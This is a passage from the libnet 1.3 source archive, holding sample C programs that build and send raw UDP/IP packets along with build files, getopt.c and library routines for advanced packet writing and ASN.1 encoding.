LIBNET_UDLD_HDLC_PROTO_TYPE, /* Type */ NULL, /* Payload */ 0, /* Payload_s */ l, 0); uint8_t udld_dst_mac[6] = LIBNET_UDLD_DEST_MAC; uint8_t udld_src_mac_dummy[6] = { 0x00, 0x19, 0x06, 0xEA, 0xB8, 0x81 }; t = libnet_build_802_3(udld_dst_mac, /* ethernet destination */ udld_src_mac_dummy, /* ethernet source */ LIBNET_802_2SNAP_H + /* */ LIBNET_UDLD_H + udld_payload_size, /* */ NULL, /* payload */ 0, /* payload size */ l, /* libnet context */ 0); /* libnet ptag */ if (t == -1) { fprintf(stderr, "Can't build 802.3 header: %s\n", libnet_geterror(l)); goto bad; } /* write the packet out */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte LLDP frame \"%s\"\n", c, argv[2]); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } libnet-1.3/sample/udp1.c0000664000175000017500000001655514506572036013370 0ustar syqsyq/* * $Id: udp1.c,v 1.6 2004/03/01 20:26:12 mike Exp $ * * libnet 1.1 * Build a UDP packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "./libnet_test.h" int main(int argc, char *argv[]) { int c, i, j, build_ip; char *cp; libnet_t *l; libnet_ptag_t ip, ipo; libnet_ptag_t udp; char *payload; u_short payload_s; struct libnet_stats ls; u_long src_ip, dst_ip; u_short src_prt, dst_prt; u_char opt[20]; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: UDP + IP options[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s\n", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; src_prt = 0; dst_prt = 0; payload = NULL; payload_s = 0; ip = ipo = udp = 0; while ((c = getopt(argc, argv, "d:s:p:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; src_prt = (u_short)atoi(cp); if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'p': payload = optarg; payload_s = strlen(payload); break; default: exit(EXIT_FAILURE); } } if (!src_ip || !src_prt || !dst_ip || !dst_prt) { usage(argv[0]); exit(EXIT_FAILURE); } for (build_ip = 0, i = 0; i < 10; i++) { udp = libnet_build_udp( src_prt, /* source port */ dst_prt + i, /* destination port */ LIBNET_UDP_H + payload_s, /* packet length */ 0, /* checksum */ (uint8_t*)payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ udp); /* libnet id */ if (udp == -1) { fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); goto bad; } if (1) { build_ip = 0; /* this is not a legal options string */ for (j = 0; j < 20; j++) { opt[j] = libnet_get_prand(LIBNET_PR2); } ipo = libnet_build_ipv4_options( opt, 20, l, ipo); if (ipo == -1) { fprintf(stderr, "Can't build IP options: %s\n", libnet_geterror(l)); goto bad; } ip = libnet_build_ipv4( LIBNET_IPV4_H + 20 + payload_s + LIBNET_UDP_H, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ src_ip, dst_ip, NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ ip); /* libnet id */ if (ip == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } } /* * Write it to the wire. */ fprintf(stderr, "%d byte packet, ready to go\n", libnet_getpacket_size(l)); c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte UDP packet; check the wire.\n", c); } } libnet_stats(l, &ls); fprintf(stderr, "Packets sent: %lld\n" "Packet errors: %lld\n" "Bytes written: %lld\n", (long long)ls.packets_sent, (long long)ls.packet_errors, (long long)ls.bytes_written); libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip.source_port -d destination_ip.destination_port" " [-p payload]\n", name); } libnet-1.3/sample/udp2.c0000664000175000017500000001741014506572036013360 0ustar syqsyq/* * $Id: udp2.c,v 1.6 2004/03/01 20:26:12 mike Exp $ * * libnet 1.1 * Build a UDP packet using port list chains * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char **argv) { int c, build_ip; struct timeval r; struct timeval s; struct timeval e; libnet_t *l; libnet_ptag_t udp; char *payload; libnet_ptag_t t; struct libnet_stats ls; uint16_t payload_s; uint32_t src_ip, dst_ip; uint16_t bport, eport, cport; libnet_plist_t plist, *plist_p; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1.2 packet shaping: UDP2[link]\n"); l = libnet_init( LIBNET_LINK, /* injection type */ NULL, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; payload = NULL; payload_s = 0; plist_p = NULL; while ((c = getopt(argc, argv, "d:s:p:P:")) != EOF) { switch (c) { case 'd': if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(1); } break; case 's': if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(1); } break; case 'P': plist_p = &plist; if (libnet_plist_chain_new(l, &plist_p, optarg) == -1) { fprintf(stderr, "Bad token in port list: %s\n", libnet_geterror(l)); exit(1); } break; case 'p': payload = optarg; payload_s = strlen(payload); break; default: usage(argv[0]); exit(EXIT_FAILURE); } } if (!src_ip || !dst_ip || !plist_p) { usage(argv[0]); exit(EXIT_FAILURE); } udp = 0; #if !(__WIN32__) gettimeofday(&s, NULL); #else /* This obviously is not as good - but it compiles now. */ s.tv_sec = time(NULL); s.tv_usec = 0; #endif build_ip = 1; while (libnet_plist_chain_next_pair(plist_p, &bport, &eport)) { while (!(bport > eport) && bport != 0) { cport = bport++; udp = libnet_build_udp( 1025, /* source port */ cport, /* destination port */ LIBNET_UDP_H + payload_s, /* packet size */ 0, /* checksum */ (uint8_t *)payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ udp); /* libnet id */ if (udp == -1) { fprintf(stderr, "Can't build UDP header (at port %d): %s\n", cport, libnet_geterror(l)); goto bad; } if (build_ip) { build_ip = 0; t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ethernet( enet_dst, /* ethernet dest */ enet_src, /* ethernet source */ ETHERTYPE_IP, /* protocol type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); if (t == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } } c = libnet_write(l); if (c == -1) { fprintf(stderr, "write error: %s\n", libnet_geterror(l)); } else { fprintf(stderr, "wrote %d byte UDP packet to port %d\r", c, cport); } } fprintf(stderr, "\n"); } #if !(__WIN32__) gettimeofday(&e, NULL); #else /* This obviously is not as good - but it compiles now. */ s.tv_sec = time(NULL); s.tv_usec = 0; #endif libnet_timersub(&e, &s, &r); fprintf(stderr, "Total time spent in loop: %d.%d\n", (int)r.tv_sec, (int)r.tv_usec); libnet_stats(l, &ls); fprintf(stderr, "Packets sent: %lld\n" "Packet errors: %lld\n" "Bytes written: %lld\n", (long long)ls.packets_sent, (long long)ls.packet_errors, (long long)ls.bytes_written); libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s s_ip -d d_ip -P port list [-p payload]\n", name); } libnet-1.3/sample/win32/0000775000175000017500000000000014506572036013301 5ustar syqsyqlibnet-1.3/sample/win32/arp/0000775000175000017500000000000014506572036014063 5ustar syqsyqlibnet-1.3/sample/win32/arp/arp.vcproj0000664000175000017500000000670414506572036016101 0ustar syqsyq libnet-1.3/sample/win32/cdp/0000775000175000017500000000000014506572036014047 5ustar syqsyqlibnet-1.3/sample/win32/cdp/cdp.vcproj0000664000175000017500000000667614506572036016061 0ustar syqsyq libnet-1.3/sample/win32/dhcp_discover/0000775000175000017500000000000014506572036016115 5ustar syqsyqlibnet-1.3/sample/win32/dhcp_discover/dhcp_discover.vcproj0000664000175000017500000000703514506572036022163 0ustar syqsyq libnet-1.3/sample/win32/dns/0000775000175000017500000000000014506572036014065 5ustar syqsyqlibnet-1.3/sample/win32/dns/dns.vcproj0000664000175000017500000000676614506572036016115 0ustar syqsyq libnet-1.3/sample/win32/get_addr/0000775000175000017500000000000014506572036015052 5ustar syqsyqlibnet-1.3/sample/win32/get_addr/get_addr.vcproj0000664000175000017500000000701614506572036020054 0ustar syqsyq libnet-1.3/sample/win32/getopt.c0000664000175000017500000001000514506572036014743 0ustar syqsyq/* $NetBSD: getopt.c,v 1.26 2003/08/07 16:43:40 agc Exp $ */ /* * Copyright (c) 1987, 1993, 1994 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #if defined(LIBC_SCCS) && !defined(lint) static char sccsid[] = "@(#)getopt.c 8.3 (Berkeley) 4/27/95"; #endif /* LIBC_SCCS and not lint */ #include #include #include #include #include int opterr = 1, /* if error message should be printed */ optind = 1, /* index into parent argv vector */ optopt, /* character checked for validity */ optreset; /* reset getopt */ char *optarg; /* argument associated with option */ #define BADCH (int)'?' #define BADARG (int)':' #define EMSG "" /* * getopt -- * Parse argc/argv argument vector. */ int getopt(nargc, nargv, ostr) int nargc; char * const nargv[]; const char *ostr; { #ifdef WIN32 char *__progname = "windump"; #else extern char *__progname; #endif static char *place = EMSG; /* option letter processing */ char *oli; /* option letter list index */ if (optreset || *place == 0) { /* update scanning pointer */ optreset = 0; place = nargv[optind]; if (optind >= nargc || *place++ != '-') { /* Argument is absent or is not an option */ place = EMSG; return (-1); } optopt = *place++; if (optopt == '-' && *place == 0) { /* "--" => end of options */ ++optind; place = EMSG; return (-1); } if (optopt == 0) { /* Solitary '-', treat as a '-' option if the program (eg su) is looking for it. */ place = EMSG; if (strchr(ostr, '-') == NULL) return (-1); optopt = '-'; } } else optopt = *place++; /* See if option letter is one the caller wanted... */ if (optopt == ':' || (oli = strchr(ostr, optopt)) == NULL) { if (*place == 0) ++optind; if (opterr && *ostr != ':') (void)fprintf(stderr, "%s: illegal option -- %c\n", __progname, optopt); return (BADCH); } /* Does this option need an argument? */ if (oli[1] != ':') { /* don't need argument */ optarg = NULL; if (*place == 0) ++optind; } else { /* Option-argument is either the rest of this argument or the entire next argument. */ if (*place) optarg = place; else if (nargc > ++optind) optarg = nargv[optind]; else { /* option-argument absent */ place = EMSG; if (*ostr == ':') return (BADARG); if (opterr) (void)fprintf(stderr, "%s: option requires an argument -- %c\n", __progname, optopt); return (BADCH); } place = EMSG; ++optind; } return (optopt); /* return option letter */ } libnet-1.3/sample/win32/icmp_echo_cq/0000775000175000017500000000000014506572036015712 5ustar syqsyqlibnet-1.3/sample/win32/icmp_echo_cq/icmp_echo_cq.vcproj0000664000175000017500000000703114506572036021551 0ustar syqsyq libnet-1.3/sample/win32/tcp1/0000775000175000017500000000000014506572036014150 5ustar syqsyqlibnet-1.3/sample/win32/tcp1/tcp1.vcproj0000664000175000017500000000707014506572036016250 0ustar syqsyq libnet-1.3/sample/win32/udp1/0000775000175000017500000000000014506572036014152 5ustar syqsyqlibnet-1.3/sample/win32/udp1/dns.vcproj0000664000175000017500000000622114506572036016164 0ustar syqsyq libnet-1.3/sample/win32/udp1/udp1.vcproj0000664000175000017500000000677114506572036016263 0ustar syqsyq libnet-1.3/src/0000775000175000017500000000000014506572036011645 5ustar syqsyqlibnet-1.3/src/Makefile.am0000664000175000017500000000610214506572036013700 0ustar syqsyq# # Libnet automake information file # Copyright (c) 1998 - 2004 Mike D. Schiffman # All rights reserved. # # Process this file with automake to produce a Makefile.in script. EXTRA_DIST = libnet_dll.c common.h AM_CPPFLAGS = -I$(top_srcdir)/include -I$(builddir)/../include lib_LTLIBRARIES = libnet.la libnet_la_SOURCES = libnet_asn1.c \ libnet_build_802.1q.c \ libnet_build_802.1x.c \ libnet_build_802.2.c \ libnet_build_802.3.c \ libnet_build_arp.c \ libnet_build_bgp.c \ libnet_build_cdp.c \ libnet_build_data.c \ libnet_build_dhcp.c \ libnet_build_dns.c \ libnet_build_ethernet.c \ libnet_build_fddi.c \ libnet_build_gre.c \ libnet_build_hsrp.c \ libnet_build_icmp.c \ libnet_build_igmp.c \ libnet_build_ip.c \ libnet_build_ipsec.c \ libnet_build_isl.c \ libnet_build_link.c \ libnet_build_mpls.c \ libnet_build_ntp.c \ libnet_build_ospf.c \ libnet_build_rip.c \ libnet_build_rpc.c \ libnet_build_sebek.c \ libnet_build_snmp.c \ libnet_build_stp.c \ libnet_build_udld.c \ libnet_build_tcp.c \ libnet_build_token_ring.c \ libnet_build_udp.c \ libnet_build_vrrp.c \ libnet_build_lldp.c \ libnet_advanced.c \ libnet_checksum.c \ libnet_cq.c \ libnet_crc.c \ libnet_error.c \ libnet_if_addr.c \ libnet_init.c \ libnet_internal.c \ libnet_pblock.c \ libnet_port_list.c \ libnet_prand.c \ libnet_raw.c \ libnet_resolve.c \ libnet_version.c \ libnet_write.c libnet_la_LIBADD = @LTLIBOBJS@ # Note: this version-info should NOT simply be the version of the libnet # package. See: # https://www.sourceware.org/autobook/autobook/autobook_61.html#Library-Versioning # http://www.gnu.org/software/libtool/manual/html_node/Updating-version-info.html # for the rules. # # Summary: # # Form is current:revision:age. # # Here are a set of rules to help you update your library version # information: # # 1. If the library source code has changed at all since the last # update, then increment REVISION (`C:R:A' becomes `C:r+1:A'). # # 2. If any interfaces have been added, removed, or changed since the # last update, increment CURRENT, and set REVISION to 0. # # 3. If any interfaces have been added since the last public release, # then increment AGE. # # 4. If any interfaces have been removed since the last public release, # then set AGE to 0. # # Note: # 1.1.2.1-fork is 5:0:4 # 1.1.3 will be 6:0:5 -> new interfaces, backwards compatible # 1.1.4 was 6:0:5 -> probably an error on my part # 1.1.5 is 7:0:6 -> new APIs, backwards compatible # 1.1.6 is 8:0:7 -> new APIs, backwards compatible # 1.2 is 9:0:0 -> new APIs, removed __libnet_print_vers (internal, should not have been used, but linkable) APIs libnet_la_LDFLAGS = -version-info 9:0:0 ## Windows stuff if WIN32 libnet_la_LDFLAGS += -no-undefined # don't do any of this if we're not building shared libnet if COND_SHARED libnet_la_SOURCES += libnet_dll_info.rc libnet_la_LDFLAGS += -Wl,--output-def, -Wl,libnet-9.def .rc.lo: $(AM_V_GEN)$(LIBTOOL) --mode=compile --silent $(WINDRES) $< -o $@ endif endif libnet-1.3/src/common.h0000664000175000017500000000461214506572036013311 0ustar syqsyq/* * common.h - common headers * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (_WIN32) || (__CYGWIN__) /* MSVC warns about snprintf */ #define _CRT_SECURE_NO_WARNINGS /* don't pull in Packet32's locol bpf definitions */ // #define BPF_MAJOR_VERSION #include /* don't pull in pcap/bpf.h */ #define PCAP_DONT_INCLUDE_PCAP_BPF_H #include #include /* alloca() */ #ifdef __MINGW32__ #include #else #include #endif #else #include #include #include /* TODO - should ../include/gnuc.h be included here? */ /* TODO - HAVE_OS_PROTO_H is never defined, but used in some files, delete it */ #endif #include #include "../include/libnet.h" /* IPPROTO_ and sockaddr_ definitions are here. They are often * implicitly pulled in, but some systems need them explicitly * included. */ #ifndef IPPROTO_MH #define IPPROTO_MH 135 /* IPv6 mobility header */ #endif /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_advanced.c0000664000175000017500000001140314506572036015112 0ustar syqsyq/* * $Id: libnet_advanced.c,v 1.8 2004/11/09 07:05:07 mike Exp $ * * libnet * libnet_advanced.c - Advanced routines * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" int libnet_adv_cull_packet(libnet_t *l, uint8_t **packet, uint32_t *packet_s) { *packet = NULL; *packet_s = 0; #ifdef LIBNET_ENABLE_TESTS /* * Allow to fetch the packet without advanced mode. Useful for unit tests. */ #else if (l->injection_type != LIBNET_LINK_ADV) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): advanced link mode not enabled", __func__); return (-1); } #endif /* checksums will be written in */ return (libnet_pblock_coalesce(l, packet, packet_s)); } int libnet_adv_cull_header(libnet_t *l, libnet_ptag_t ptag, uint8_t **header, uint32_t *header_s) { libnet_pblock_t *p; *header = NULL; *header_s = 0; #ifdef LIBNET_ENABLE_TESTS /* * Allow to fetch the packet's header without advanced mode. Useful for unit tests. */ #else if (l->injection_type != LIBNET_LINK_ADV) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): advanced link mode not enabled", __func__); return (-1); } #endif p = libnet_pblock_find(l, ptag); if (p == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): ptag not found, you sure it exists?", __func__); return (-1); } *header = p->buf; *header_s = p->b_len; return (1); } int libnet_adv_write_link(libnet_t *l, const uint8_t *packet, uint32_t packet_s) { ssize_t c; if (l->injection_type != LIBNET_LINK_ADV) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): advanced link mode not enabled", __func__); return (-1); } c = libnet_write_link(l, packet, packet_s); /* do statistics */ if (c == (ssize_t)packet_s) { l->stats.packets_sent++; l->stats.bytes_written += c; } else { l->stats.packet_errors++; /* * XXX - we probably should have a way to retrieve the number of * bytes actually written (since we might have written something). */ if (c > 0) { l->stats.bytes_written += c; } } return (c); } int libnet_adv_write_raw_ipv4(libnet_t *l, const uint8_t *packet, uint32_t packet_s) { ssize_t c; if (l->injection_type != LIBNET_RAW4_ADV) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): advanced raw4 mode not enabled", __func__); return (-1); } c = libnet_write_raw_ipv4(l, packet, packet_s); /* do statistics */ if (c == (ssize_t)packet_s) { l->stats.packets_sent++; l->stats.bytes_written += c; } else { l->stats.packet_errors++; /* * XXX - we probably should have a way to retrieve the number of * bytes actually written (since we might have written something). */ if (c > 0) { l->stats.bytes_written += c; } } return (c); } void libnet_adv_free_packet(libnet_t *l, uint8_t *packet) { /* * Restore original pointer address so free won't complain about a * modified chunk pointer. */ if (l->aligner > 0) { packet = packet - l->aligner; } free(packet); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_asn1.c0000664000175000017500000002722014506572036014213 0ustar syqsyq/* * $Id: libnet_asn1.c,v 1.5 2004/01/03 20:31:01 mike Exp $ * * libnet 1.1 * libnet_asn1.c - Abstract Syntax Notation One routines * * Abstract Syntax Notation One, ASN.1 * As defined in ISO/IS 8824 and ISO/IS 8825 * This implements a subset of the above International Standards that * is sufficient to implement SNMP. * * Encodes abstract data types into a machine independent stream of bytes. * * Copyright 1988, 1989, 1991, 1992 by Carnegie Mellon University * All rights reserved. * * Permission to use, copy, modify, and distribute this software and its * documentation for any purpose and without fee is hereby granted, * provided that the above copyright notice appear in all copies and that * both that copyright notice and this permission notice appear in * supporting documentation, and that the name of CMU not be * used in advertising or publicity pertaining to distribution of the * software without specific, written prior permission. * * CMU DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING * ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL * CMU BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS * SOFTWARE. * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include "common.h" uint8_t * libnet_build_asn1_int(uint8_t *data, int *datalen, uint8_t type, int32_t *int_p, int int_s) { /* * ASN.1 integer ::= 0x02 asnlength byte {byte}* */ int32_t integer; uint32_t mask; if (int_s != sizeof (int32_t)) { return (NULL); } integer = *int_p; /* * Truncate "unnecessary" bytes off of the most significant end of this * 2's complement integer. There should be no sequence of 9 consecutive * 1's or 0's at the most significant end of the integer. */ mask = ((uint32_t) 0x1FF) << ((8 * (sizeof (int32_t) - 1)) - 1); /* mask is 0xFF800000 on a big-endian machine */ while ((((integer & mask) == 